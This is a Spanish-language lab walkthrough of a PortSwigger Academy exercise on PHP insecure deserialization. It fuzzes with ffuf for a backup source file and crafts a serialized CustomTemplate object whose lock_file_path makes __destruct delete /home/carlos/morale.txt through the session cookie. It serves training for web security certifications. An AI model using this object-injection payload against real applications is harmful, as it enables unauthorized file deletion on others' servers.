Entrada

Insecure Deserialization Lab 4

Insecure Deserialization Lab 4

Skills

  • Arbitrary object injection in PHP

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio utiliza un mecanismo de sesiones basado en serialización y es vulnerable a la inyección arbitraria de objetos. Para resolver el laboratorio, debemos crear e inyectar un objeto serializado malicioso para eliminar el archivo morale.txt del directorio personal de Carlos. Necesitaremos obtener acceso al código fuente para resolver este laboratorio. Podemos iniciar sesión en nuestra cuenta utilizando las credenciales wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos sobre My account y nos logueamos utilizando las credenciales wiener:peter

Si hacemos Ctrl + u e inspeccionamos el código fuente de la web, vemos como en la parte inferior hay un comentario que hace alusión a la ruta /libs/CustomTemplate.php

Fuzzeamos en busca de archivos de backup y encontramos un archivo llamado CustomTemplate.php~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-extensions.txt -u https://0a81003d04de82aa80dafdef00120067.web-security-academy.net/libs/CustomTemplateFUZZ 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://0a81003d04de82aa80dafdef00120067.web-security-academy.net/libs/CustomTemplateFUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-extensions.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.php                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 139ms]
.php~                   [Status: 200, Size: 1130, Words: 277, Lines: 39, Duration: 55ms]
.php                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 132ms]
:: Progress: [2450/2450] :: Job [1/1] :: 19 req/sec :: Duration: [0:00:33] :: Errors: 0 ::

Si accedemos a https://0a81003d04de82aa80dafdef00120067.web-security-academy.net/libs/CustomTemplate.php~ podemos ver el código del archivo php. Si nos fijamos bien en el código vemos los métodos __destruct() y __construct(), los cuales son métodos mágicos, en PHP es fácil reconocerlos porque llevan __ siempre en su nombre. Los métodos mágicos en PHP son funciones especiales predefinidas que se ejecutan automáticamente en respuesta a ciertos eventos o interacciones con un objeto. En este caso el método que nos interesa es el método mágico __destruct, que borra el archivo que esté en la variable lock_file_path

Refrescamos la web con F5 y capturamos la petición con Burpsuite, al hacerlo vemos que el parámetro session contiene un objeto

Obtenemos la longitud de /home/carlos/morale.txt

1
# echo -n '/home/carlos/morale.txt' | wc -c 

Obtenemos la longitud de lock_file_path

1
# echo -n 'lock_file_path' | wc -c 

Obtenemos la longitud de CustomTemplate

1
# echo -n 'CustomTemplate' | wc -c

Modificamos el objeto cambiando la clase a CustomTemplate y añadiéndole el parámetro lock_file_path, de forma que si el archivo /home/carlos/morale.txt existe lo borre

1
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

Nos dirigimos al navegador y pulsamos Ctrl + Shift + i, pegamos el nuevo valor para session y refrescamos la web pulsando F5. Si todo ha funcionado correctamente deberíamos haber borrado el archivo y completado el laboratorio

Esta entrada está licenciada bajo CC BY 4.0 por el autor.